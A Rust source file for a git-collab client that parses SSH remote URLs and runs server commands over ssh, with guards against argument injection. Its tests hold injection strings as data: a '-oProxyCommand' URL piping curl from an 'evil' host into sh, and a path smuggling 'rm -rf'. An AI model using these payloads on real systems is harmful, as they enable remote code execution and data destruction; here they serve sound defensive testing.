a73x

src/remote_ssh.rs

Ref:   Size: 15.5 KiB   History

//! Talking to a git-collab server over SSH exec verbs.
//!
//! The server's mutation API is a set of SSH exec verbs (`collab-release`,
//! `collab-lease`), so every client command that changes server state shells
//! out to `ssh` the same way: resolve the remote, build the invocation, run
//! one command, read stdout. This module is that plumbing, shared by
//! `release` and `lease`.

use std::process::{Command, Output, Stdio};

use git2::Repository;

use crate::error::Error;

#[derive(Debug, PartialEq, Eq)]
pub struct SshRemote {
    pub user: Option<String>,
    pub host: String,
    pub port: Option<u16>,
    pub path: String,
}

/// Parse `ssh://[user@]host[:port]/path` or scp-style `[user@]host:path`.
///
/// Note: IPv6 bracket addresses (`ssh://[::1]:2222/path`) are not specially
/// handled and will mis-parse rather than fail closed — out of scope per spec.
pub fn parse_ssh_remote(url: &str) -> Option<SshRemote> {
    if let Some(rest) = url.strip_prefix("ssh://") {
        let (authority, path) = rest.split_once('/')?;
        let (user, hostport) = split_user(authority);
        let (host, port) = match hostport.rsplit_once(':') {
            Some((h, p)) => (h.to_string(), Some(p.parse().ok()?)),
            None => (hostport.to_string(), None),
        };
        if host.is_empty() || path.is_empty() {
            return None;
        }
        if is_option_lookalike(user.as_deref(), &host) {
            return None;
        }
        return Some(SshRemote {
            user,
            host,
            port,
            path: path.to_string(),
        });
    }
    if url.contains("://") {
        return None;
    }
    // scp-style: [user@]host:path — but not a local path
    let (authority, path) = url.split_once(':')?;
    if authority.is_empty() || path.is_empty() || authority.contains('/') {
        return None;
    }
    let (user, host) = split_user(authority);
    if is_option_lookalike(user.as_deref(), host) {
        return None;
    }
    Some(SshRemote {
        user,
        host: host.to_string(),
        port: None,
        path: path.to_string(),
    })
}

/// Whether the destination would reach `ssh` as an option rather than a host.
///
/// `ssh_command` passes the destination as a positional argv element, so a
/// leading `-` is read by OpenSSH's getopt as a flag — and `-oProxyCommand=…`
/// runs through `/bin/sh -c`. git applies the same guard to its own transport
/// (`looks_like_command_line_option`, CVE-2017-1000117); `sync.rs` inherits it
/// by shelling out to `git push`/`git fetch`, but this module invokes `ssh`
/// directly, so it has to repeat the check rather than rely on git's.
///
/// Only the user's leading `-` can actually reach getopt today, since the
/// destination is formatted `{user}@{host}` — a dash on the host is already
/// shielded by whatever precedes the `@`. Both are rejected anyway: the
/// asymmetry is an artifact of the current format string, and a caller that
/// ever passes the host separately (or drops the user) would silently reopen
/// the hole.
fn is_option_lookalike(user: Option<&str>, host: &str) -> bool {
    user.is_some_and(|u| u.starts_with('-')) || host.starts_with('-')
}

fn split_user(authority: &str) -> (Option<String>, &str) {
    match authority.split_once('@') {
        Some((user, host)) => (Some(user.to_string()), host),
        None => (None, authority),
    }
}

/// Resolve a named git remote to an SSH destination, rejecting anything the
/// exec-verb API cannot be spoken over.
pub fn ssh_remote(repo: &Repository, remote_name: &str) -> Result<SshRemote, Error> {
    let remote = repo
        .find_remote(remote_name)
        .map_err(|_| Error::Cmd(format!("remote '{}' not found", remote_name)))?;
    let url = remote
        .url()
        .ok_or_else(|| Error::Cmd(format!("remote '{}' has no URL", remote_name)))?;
    let parsed = parse_ssh_remote(url).ok_or_else(|| {
        Error::Cmd(format!(
            "remote '{}' ({}) is not an SSH remote — this command needs an ssh:// or user@host: remote",
            remote_name, url
        ))
    })?;
    validate_remote_path(&parsed.path)?;
    Ok(parsed)
}

/// Reject a remote path containing quote characters: our remote command strings
/// wrap arguments in single quotes with no escaping, so a quote in the path
/// would let it break out of its argument — turn that into a clear client-side
/// error instead of an opaque server-side rejection (or worse).
fn validate_remote_path(path: &str) -> Result<(), Error> {
    if path.contains('\'') || path.contains('"') {
        return Err(Error::Cmd(format!(
            "remote path contains quotes, which these commands cannot escape: {}",
            path
        )));
    }
    Ok(())
}

/// The candidate ssh command strings, in the order they were read from their
/// respective sources. Named fields (rather than positional `Option<String>`
/// args) so a call site can't silently pass them in the wrong order.
pub(crate) struct SshCommandSources {
    pub(crate) collab_env: Option<String>,
    pub(crate) git_env: Option<String>,
    pub(crate) config: Option<String>,
}

/// Pick the ssh command string to use, first match wins: `collab_env`
/// (GIT_COLLAB_SSH_COMMAND), then `git_env` (GIT_SSH_COMMAND), then `config`
/// (git's `core.sshCommand`), then a bare `"ssh"`. Env overrides config for
/// the last two — matching git itself, whose docs say `core.sshCommand` "is
/// overridden when the GIT_SSH_COMMAND environment variable is set". A
/// candidate that is empty or whitespace-only is treated as absent rather
/// than winning with a blank program name.
pub(crate) fn resolve_ssh_command(sources: SshCommandSources) -> String {
    [sources.collab_env, sources.git_env, sources.config]
        .into_iter()
        .flatten()
        .find(|value| !value.trim().is_empty())
        .unwrap_or_else(|| "ssh".to_string())
}

/// Build the ssh invocation for a remote. The command is resolved in order:
/// `GIT_COLLAB_SSH_COMMAND` (env, this tool's own escape hatch) > `GIT_SSH_COMMAND`
/// (env) > `core.sshCommand` (git config, including inherited global/system
/// config) > bare `ssh`. Env overriding config for the last two matches git's
/// own resolution, so `git-collab` agrees with `git push` against the same
/// remote even when a user sets `core.sshCommand` globally but overrides it
/// with `GIT_SSH_COMMAND` in one shell. Unlike git, which runs these through
/// `sh -c` and supports shell quoting, this is split on whitespace only — a
/// path containing spaces cannot be expressed.
fn ssh_command(repo: &Repository, remote: &SshRemote) -> Command {
    let env_collab = std::env::var("GIT_COLLAB_SSH_COMMAND").ok();
    let env_git = std::env::var("GIT_SSH_COMMAND").ok();
    let config_ssh = repo
        .config()
        .ok()
        .and_then(|cfg| cfg.get_string("core.sshCommand").ok());
    let base = resolve_ssh_command(SshCommandSources {
        collab_env: env_collab,
        git_env: env_git,
        config: config_ssh,
    });
    let mut parts = base.split_whitespace();
    let mut cmd = Command::new(parts.next().unwrap_or("ssh"));
    for part in parts {
        cmd.arg(part);
    }
    if let Some(port) = remote.port {
        cmd.arg("-p").arg(port.to_string());
    }
    match &remote.user {
        Some(user) => cmd.arg(format!("{}@{}", user, remote.host)),
        None => cmd.arg(&remote.host),
    };
    cmd
}

/// Run one exec verb, succeeding only on exit 0.
pub fn run_remote(
    repo: &Repository,
    remote: &SshRemote,
    remote_cmd: &str,
    stdin: Stdio,
) -> Result<Output, Error> {
    run_remote_expecting(repo, remote, remote_cmd, stdin, &[])
}

/// Run one exec verb, treating `also_ok` exit codes as success rather than
/// failure and handing the `Output` back for the caller to interpret.
///
/// Leases need this: a lost race exits 4 with a JSON body on stdout, which is
/// an *answer*, not an error. Without an allow-list the shared error mapping
/// below would swallow the body and the code alike.
pub fn run_remote_expecting(
    repo: &Repository,
    remote: &SshRemote,
    remote_cmd: &str,
    stdin: Stdio,
    also_ok: &[i32],
) -> Result<Output, Error> {
    let output = ssh_command(repo, remote)
        .arg(remote_cmd)
        .stdin(stdin)
        .output()
        .map_err(|e| Error::Cmd(format!("failed to run ssh: {}", e)))?;
    let code = output.status.code();
    let acceptable = output.status.success() || code.is_some_and(|c| also_ok.contains(&c));
    if !acceptable {
        // Protocol errors from our server always arrive on the exec channel's
        // stdout; stderr is ssh's own banners (e.g. host-key warnings). Never
        // concatenate the two — that glues an unrelated banner onto the
        // message. Prefer stdout, fall back to stderr, then a generic message.
        let stdout = String::from_utf8_lossy(&output.stdout).trim().to_string();
        let stderr = String::from_utf8_lossy(&output.stderr).trim().to_string();
        let msg = if !stdout.is_empty() {
            stdout
        } else if !stderr.is_empty() {
            stderr
        } else {
            "server rejected the command".to_string()
        };
        // Strip a leading "error: " so callers (main.rs prints "error: {}")
        // don't double it up.
        let msg = msg.strip_prefix("error: ").unwrap_or(&msg).to_string();
        return Err(Error::Cmd(msg));
    }
    Ok(output)
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn parse_ssh_url_full() {
        let r = parse_ssh_remote("ssh://git@example.com:2222/myrepo.git").unwrap();
        assert_eq!(r.user.as_deref(), Some("git"));
        assert_eq!(r.host, "example.com");
        assert_eq!(r.port, Some(2222));
        assert_eq!(r.path, "myrepo.git");
    }

    #[test]
    fn parse_ssh_url_minimal() {
        let r = parse_ssh_remote("ssh://example.com/org/repo.git").unwrap();
        assert_eq!(r.user, None);
        assert_eq!(r.port, None);
        assert_eq!(r.path, "org/repo.git");
    }

    #[test]
    fn parse_scp_style() {
        let r = parse_ssh_remote("git@example.com:myrepo.git").unwrap();
        assert_eq!(r.user.as_deref(), Some("git"));
        assert_eq!(r.host, "example.com");
        assert_eq!(r.port, None);
        assert_eq!(r.path, "myrepo.git");
    }

    #[test]
    fn parse_rejects_non_ssh() {
        assert!(parse_ssh_remote("https://example.com/repo.git").is_none());
        assert!(parse_ssh_remote("/srv/git/repo.git").is_none());
        assert!(parse_ssh_remote("../relative/path").is_none());
        assert!(parse_ssh_remote("file:///srv/git/repo.git").is_none());
    }

    /// `ssh_command` passes the host (or `user@host`) as a positional argv
    /// element, and OpenSSH's getopt reads a leading `-` as an option —
    /// `-oProxyCommand=...` runs through `/bin/sh -c`. git guards its own
    /// transport the same way (`looks_like_command_line_option`,
    /// CVE-2017-1000117); `git push`/`git fetch` in sync.rs inherit that, but
    /// this module is the one place we invoke ssh directly, so the guard has
    /// to be repeated here.
    #[test]
    fn parse_rejects_option_lookalike_authority() {
        // No colon and no slash in the payload, so it survives both the port
        // split and the authority/path split — this is the shape that parses.
        assert!(
            parse_ssh_remote("ssh://-oProxyCommand=curl${IFS}evil${IFS}|${IFS}sh/repo.git")
                .is_none()
        );
        assert!(parse_ssh_remote("ssh://-oProxyCommand=x@host/repo.git").is_none());
        assert!(parse_ssh_remote("-oProxyCommand=x:repo.git").is_none());
        assert!(parse_ssh_remote("user@-oProxyCommand=x:repo.git").is_none());
        // A leading dash is only rejected in the authority; paths and normal
        // hosts are untouched.
        assert!(parse_ssh_remote("ssh://example.com/-dashed-path.git").is_some());
    }

    #[test]
    fn parse_rejects_out_of_range_port() {
        assert!(parse_ssh_remote("ssh://host:99999/x").is_none());
    }

    #[test]
    fn parse_rejects_scp_style_with_empty_path() {
        assert!(parse_ssh_remote("host:").is_none());
    }

    #[test]
    fn parse_rejects_scp_style_with_empty_authority() {
        assert!(parse_ssh_remote(":path").is_none());
    }

    #[test]
    fn parse_rejects_ssh_url_without_path() {
        assert!(parse_ssh_remote("ssh://host").is_none());
    }

    #[test]
    fn rejects_remote_path_with_single_quote() {
        let remote = parse_ssh_remote("ssh://git@example.com/evil'; rm -rf /.git").unwrap();
        let err = validate_remote_path(&remote.path).unwrap_err();
        assert!(matches!(err, Error::Cmd(ref m) if m.contains("quotes")));
    }

    #[test]
    fn rejects_remote_path_with_double_quote() {
        let remote = parse_ssh_remote("ssh://git@example.com/evil\"x").unwrap();
        assert!(validate_remote_path(&remote.path).is_err());
    }

    #[test]
    fn accepts_remote_path_without_quotes() {
        let remote = parse_ssh_remote("ssh://git@example.com/myrepo.git").unwrap();
        assert!(validate_remote_path(&remote.path).is_ok());
    }

    #[test]
    fn resolve_ssh_command_prefers_collab_env_over_all_others() {
        assert_eq!(
            resolve_ssh_command(SshCommandSources {
                collab_env: Some("collab-ssh".to_string()),
                git_env: Some("git-ssh".to_string()),
                config: Some("config-ssh".to_string()),
            }),
            "collab-ssh"
        );
    }

    /// Regression guard: git's own resolution has GIT_SSH_COMMAND (env)
    /// override core.sshCommand (config) — the reverse of what an earlier
    /// version of this function did. A user with core.sshCommand set
    /// globally who exports GIT_SSH_COMMAND for one shell must see it win,
    /// matching `git push` against the same remote.
    ///
    /// This only guards resolve_ssh_command's own logic; it cannot catch a
    /// mis-wired call site (e.g. ssh_command() passing git_env and config in
    /// the wrong struct fields) — see the e2e tests in
    /// tests/release_cli_test.rs for that.
    #[test]
    fn resolve_ssh_command_git_env_overrides_config_when_both_set() {
        assert_eq!(
            resolve_ssh_command(SshCommandSources {
                collab_env: None,
                git_env: Some("git-ssh".to_string()),
                config: Some("config-ssh".to_string()),
            }),
            "git-ssh"
        );
    }

    #[test]
    fn resolve_ssh_command_falls_back_to_config() {
        assert_eq!(
            resolve_ssh_command(SshCommandSources {
                collab_env: None,
                git_env: None,
                config: Some("config-ssh".to_string()),
            }),
            "config-ssh"
        );
    }

    #[test]
    fn resolve_ssh_command_defaults_to_bare_ssh() {
        assert_eq!(
            resolve_ssh_command(SshCommandSources {
                collab_env: None,
                git_env: None,
                config: None,
            }),
            "ssh"
        );
    }

    #[test]
    fn resolve_ssh_command_ignores_empty_and_whitespace_values() {
        // An empty or whitespace-only override must not win and must not
        // produce an empty program name — fall through to the next source.
        assert_eq!(
            resolve_ssh_command(SshCommandSources {
                collab_env: Some("".to_string()),
                git_env: Some("   ".to_string()),
                config: Some("config-ssh".to_string()),
            }),
            "config-ssh"
        );
        assert_eq!(
            resolve_ssh_command(SshCommandSources {
                collab_env: Some("\t\n".to_string()),
                git_env: None,
                config: None,
            }),
            "ssh"
        );
    }
}